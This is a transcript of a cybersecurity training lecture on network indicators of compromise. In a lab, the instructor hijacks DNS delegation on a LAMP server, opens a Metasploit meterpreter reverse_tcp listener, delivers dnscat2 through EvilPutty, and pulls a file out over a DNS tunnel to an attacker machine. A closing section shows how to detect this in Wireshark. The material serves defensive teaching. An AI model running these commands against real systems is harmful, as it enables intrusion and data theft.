Instructor: "Analysis of Network IOCs." 2 2
In this lesson, we're going to talk about 3 3
analyzing network-related indicators of compromise. 4 4
Now, when we look at this, 5 5
a lot of our network activity is going to be used 6 6
as some of the best sources of indicators 7 7
when we're trying to analyze a compromise 8 8
of a suspected incident. 9 9
Now in this lesson, what I'm going to do is, 10 10
I'm going to set up a simple DNS tunneling mechanism. 11 11
This will help us illustrate how attackers 12 12
can disguise their communications 13 13
by using covert channels such as DNS 14 14
to hide information within that common protocol. 15 15
To do this, I'm going to go into my lab environment, 16 16
and from here, I'm going to go ahead and set up my attack. 17 17
Now, to perform this attack is really something more 18 18
that's focused on the PenTest+ side. 19 19
But I'm going to show you how I do this, 20 20
because it's important for us to be able to see this, 21 21
so as defenders, we know what the attacker is doing. 22 22
And then I'm going to show you how you can identify this 23 23
as a defender. 24 24
Now, when I set up my DNS tunneling, 25 25
I need to act as an authoritative name server. 26 26
That way, queries for name records 27 27
are going to be directed to my machine as the attacker 28 28
instead of to some really trusted domain server. 29 29
To do this, we can use lots of different techniques. 30 30
For instance, we've talked about DGAs, 31 31
which is domain generate algorithms, 32 32
that rapidly cycle through different domain names. 33 33
This might be something like a fast flux DNS for instance. 34 34
Now, my approach here is going to be to compromise the records 35 35
on another name server. 36 36
Now, this name server 37 37
is going to be hosted on a LAMP server, 38 38
which stands for Linux, Apache, MySQL, and PHP. 39 39
And so I'm going to attack this LAMP server 40 40
and create a delegation for a sub-domain. 41 41
Now, because this isn't really going to be a course 42 42
on learning how to attack things, 43 43
I'm going to simplify things and assume 44 44
that I've gotten the administrative credentials somehow. 45 45
Maybe I had a wireless sniffer 46 46
and that's able to capture that. 47 47
Whatever it is, I'm going to log in as the admin 48 48
so I can do this setup. 49 49
Now, when I get here to the command prompt, 50 50
I want to go ahead and change into the /etc/bind directory. 51 51
Once I'm there, I'm going to use sudo, 52 52
then move the file, named.conf.local.bak 53 53
to name.conf.local. 54 54
This will rename my backup file into my new local file. 55 55
That backup file is one that I've already configured 56 56
with the things that I needed to be able to run this attack. 57 57
Now, the first thing I need to do is, 58 58
I need to change the DNS records. 59 59
And what I'm going to do is 60 60
I'm going to go and use the sudo command, 61 61
then nano, named.conf.options, 62 62
which is the file that contains those DNS records. 63 63
I'm going to go down and edit and add the following two lines. 64 64
I'm going to go and type in 65 65
dnssec dash validation, no, semicolon, 66 66
and then allow-recursion, any, and semicolon. 67 67
By doing this, I'm going to configure this DNS server 68 68
to allow us to have the exploit happening. 69 69
Now I'm going to hit Control + O and Enter, 70 70
that's going to save the file, 71 71
and then Control + X and Enter to close the file. 72 72
Now that I've done that, 73 73
I need to go ahead and open up the DNS records 74 74
and be able to modify those. 75 75
So I'm going to type in sudo nano db.515.web.net 76 76
Now, I can add the following records into this 77 77
to give them delegation records. 78 78
I'm going to create my own subdomain called pwn, P-W-N. 79 79
And I'm going to do that by using ORIGIN pwn.515.net, 80 80
and then @ IN NS 81 81
ns1.pwn.515.net, 82 82
which says I want to set up a name server, 83 83
ns1.pwn.515web.net. 84 84
And then I'm going to set up ns1.name server 85 85
with an A record of 192.168.2.192, 86 86
which is the IP address of my attackers machine. 87 87
Then I'm going to go ahead and save this 88 88
using Control + O and hitting Enter, 89 89
and then Control + X to close the file. 90 90
Next, I want to restart the bind server. 91 91
To do this, I'm going to type in sudo, then service, 92 92
then bind9, and then restart, and hit Enter. 93 93
All right, so now we have set up that name server 94 94
on my attackers machine. 95 95
Now, what does my lab actually look like, you might wonder? 96 96
Well, here's what my lab looks like. 97 97
Now notice, I have that LAMP server in the bottom left. 98 98
It's at 192.168.1.1. 99 99
That is the Linux, Apache, MySQL, and PHP. 100 100
That's the server whose records I just compromised, 101 101
and said that the name server 102 102
is now going to be located over at 192.168.2.192, 103 103
which is my Linux machine 104 104
that I'm running these attacks from. 105 105
So now, anytime somebody tries 106 106
to send information to pwn.515web.net, 107 107
it's going to be able to send it 108 108
instead of to that LAMP server, 109 109
which is the authoritative source, for all 515web.net DNS 110 110
over to that Kali Linux server. 111 111
But that Kali Linux server doesn't have a listener yet, 112 112
so let's go ahead and set that up. 113 113
We need to set up a server 114 114
to listen for connection attempts. 115 115
In that way, anytime somebody looks for a record 116 116
at pwn.515web.net, 117 117
it's there to answer to it. 118 118
Now what we're going to use here is dnscat2, 119 119
which is a tunneling tool 120 120
to allow us to tunnel information over DNS. 121 121
So once I'm on my attacker's workstation, 122 122
I'm going to go ahead and go into the terminal 123 123
and type in service apache2 start, 124 124
which is going to start up my web service. 125 125
Then I'm going to change directories 126 126
into the Downloads/dnscat2/server directory. 127 127
And from here, I'm going to use ruby 128 128
to execute the file dnscat2.rb, which is a ruby script, 129 129
and the domain name that I want to use, 130 130
in this case pwn.515web.net. 131 131
At this point, we need to be able to start 132 132
sending the client to the victim machine. 133 133
And so we're going to use EvilPutty 134 134
to be able to do this. 135 135
So I'm going to open up a new terminal window 136 136
and I'm going to type in msfconsole, 137 137
which stands for the Metasploit framework. 138 138
This is an attacker and penetration tool 139 139
that we can use as a red teamer. 140 140
So, using Metasploit, 141 141
we're going to go ahead and type in, 142 142
use exploit/multi/handler, 143 143
which says what exploit do I want to use? 144 144
Then I'm going to set my payload. 145 145
And I do this by typing in, 146 146
set payload windows/meterpreter/reverse_tcp. 147 147
And then I'm going to set my local host, 148 148
which is, who is going to be listening to this information, 149 149
set lhost 192.168.2.192, 150 150
which is the IP of my Kali Linux machine. 151 151
And then I'm going to set the port that I want to listen on. 152 152
In this case, set lport 3389, 153 153
which is RDP or Remote Desktop Protocol. 154 154
This is how you configure an exploit. 155 155
These four lines are just the configuration 156 156
to allow this exploit to run. 157 157
And now if I want to run that exploit, 158 158
I'm just going to type in, exploit and hit Enter, 159 159
and that is going to start this listener up. 160 160
All right, so now we want to see what this attack looks like. 161 161
I've set up the listener, I've set the DNS rerouting, 162 162
let's go ahead and trigger the attack. 163 163
So now I'm going to log into my machine as an analyst, 164 164
and I'm going to start Wireshark. 165 165
Now with Wireshark, I want to capture the Ethernet interface, 166 166
and I'm going to start looking formation 167 167
that says, host not 10.1.0.1, 168 168
and the port is 3389, or port 53. 169 169
So what am I looking for here? 170 170
Basically, any host that is communicating with port 3389, 171 171
that RDP port I just set up, 172 172
or port 53, which is DNS. 173 173
Now, I'm going to open up a browser 174 174
and I'm going to try going to a website. 175 175
For instance, 192.168.2.192. 176 176
Now, why am I doing that? 177 177
Because this is going to allow me 178 178
to start running EvilPutty, 179 179
and I can click through any warnings I have. 180 180
Now, let me go back to my attacker machine. 181 181
At this point, if we've run EvilPutty, 182 182
we now have a connection with that listener I just set up. 183 183
So, on my penetration testing machine, 184 184
I'm going to upload /root/Downloads/DNScat2.exe, 185 185
and I'm going to put that into c:\\labfiles. 186 186
Now, I'm going to type in, shell, 187 187
and then I'm going to do cd c:\labfiles. 188 188
Now, this means that I have a command shell 189 189
and I'm now in that directory, 190 190
so I can now run dnscat2. 191 191
I type in, dnscat2.exe -- dns 192 192
space domain=pwn.515web.net, 193 193
server=192.168.1.1. 194 194
Now, what did I just do here? 195 195
Well, I just set up the executable on my victim's machine. 196 196
This allows data to start being sent over dnscat, 197 197
which is that DNS tunneling protocol 198 198
that we're going to send information over 199 199
back to the Kali Linux machine. 200 200
So let's go back over and look at dnscat2, 201 201
and you'll notice here, 202 202
we have a new window that was created. 203 203
This session is now encrypted, 204 204
and we have a good communication between the victim, 205 205
in this case, 206 206
the Bobby PC I logged into before with Windows, 207 207
and the Linux machine that I'm using as an attacker. 208 208
Now, let's go ahead and look back at meterpreter. 209 209
And here, I can go ahead and hit Control + Z, 210 210
and respond to the prompt by saying, "yes" 211 211
to turn off that connection to that listener, 212 212
because I don't need it anymore. 213 213
I already have a tunnel now between this system 214 214
and the victim system. 215 215
So I'm going to go ahead and quit meterpreter, 216 216
and I do that by typing in, exit, and then, exit again. 217 217
Now, let's switch to the terminal 218 218
that's hosting dnscat2 again. 219 219
From here, I'm going to run a couple of commands 220 220
to navigate the local system. 221 221
First, I'm going to type in, 222 222
window --i=1, and hit Enter. 223 223
And then I'm going to type in, shell, 224 224
and then I'm going to hit Enter. 225 225
Then I'm going to type in, 226 226
window --i=2, and hit Enter. 227 227
And then I'm going to type in, dir, and hit Enter. 228 228
Now, what did I do here? 229 229
Well, I set up two windows or two environments 230 230
for me to be able to send information. 231 231
I call these Windows one and Windows two. 232 232
The shell is giving me a command shell on a Windows system. 233 233
And then the second one, 234 234
I did a dir or a directory listing. 235 235
Now, let's say that the GPO zip file is of interest here. 236 236
Let's say I wanted to grab that. 237 237
Well, I can use this DNS tunnel 238 238
to start downloading that GPO file. 239 239
I can do this by exiting the local shell, 240 240
by typing in, exit, and hitting Enter, 241 241
and then going window --i=1, 242 242
and this again goes back to that first interface window, 243 243
and then I can say, 244 244
download, the file name, gpo.zip, 245 245
and where I want to download to, 246 246
/root/Downloads/gpo.zip. 247 247
Now, when I had that shell, 248 248
I can go and do any commands I want. 249 249
But because I exited that shell, 250 250
I'm now issuing specific commands 251 251
back to that Windows machine, 252 252
in this case, the download command. 253 253
Should just take a couple of seconds, 254 254
and now I have the file. 255 255
So let's now go in 256 256
and look at the indicators of compromise here 257 257
by analyzing our attack indicators. 258 258
First, we're going to go back into our analyst machine, 259 259
which is PC one. 260 260
From here, I'm going to stop the Wireshark capture, 261 261
I'm going to scroll to the start of the output. 262 262
Here, you can observe the meterpreter session 263 263
was established over port 3389. 264 264
Now, this is a very common port 265 265
from Microsoft's remote desktop protocol service. 266 266
And so, you should be used to seeing RDP traffic 267 267
on a normal network. 268 268
So this may not look abnormal to you at first, 269 269
but the data transferred here 270 270
is being done using raw TCP packets. 271 271
As we start looking at the end of that capture, 272 272
we can start seeing that DNS tunneling traffic. 273 273
Now, there's lots of different records 274 274
that are being used here, 275 275
and the reason for that is because 276 276
we're actually tunneling information 277 277
through these DNS requests. 278 278
Now, if I have a firewall, 279 279
I can get right through that firewall 280 280
because DNS is usually allowed 281 281
to exit the network over port 53 282 282
to make those calls and request DNS information 283 283
so you know which websites to go to. 284 284
And so that's why attackers like to use 285 285
this DNS tunneling technique. 286 286
Now, the way we can know 287 287
this is a technique of some kind of indicator of compromise 288 288
is because all of those different records are being seen, 289 289
and if we went and looked at those individual records, 290 290
we can actually look at the data inside them 291 291
and we'll find that it's not the data 292 292
inside a normal DNS record. 293 293
Instead, it's data we're throwing in there 294 294
to tunnel through that protocol. 295 295
Now, if you're using 296 296
an intrusion detection system on your network, 297 297
it should be able to find this information quite quickly, 298 298
because these are not properly formatted DNS messages. 299 299
Instead, we're packing extra information 300 300
into those DNS requests 301 301
to get that information exfiltrated out of the network. 302 302
All right, I hope you enjoyed this lesson, 303 303
and you enjoyed seeing just one of the many attacks 304 304
that people can use against your networks. 305 305
Now remember, as a cybersecurity analyst, 306 306
it's your job to understand what these attacks look like 307 307
by looking at things like Wireshark and Packet Captures. 308 308
Because that is going to be 309 309
one of the main things you're going to be looking at 310 310
as you're going through and working on a SoC watch floor. 311 311
In addition to that, you'll also be looking at seams 312 312
and intrusion detection systems. 313 313
So those things will help you out 314 314
because you have specific alerts 315 315
that will detect these type of things that would flag, 316 316
and then you can go into more depth 317 317
by pulling up the Packet Captures.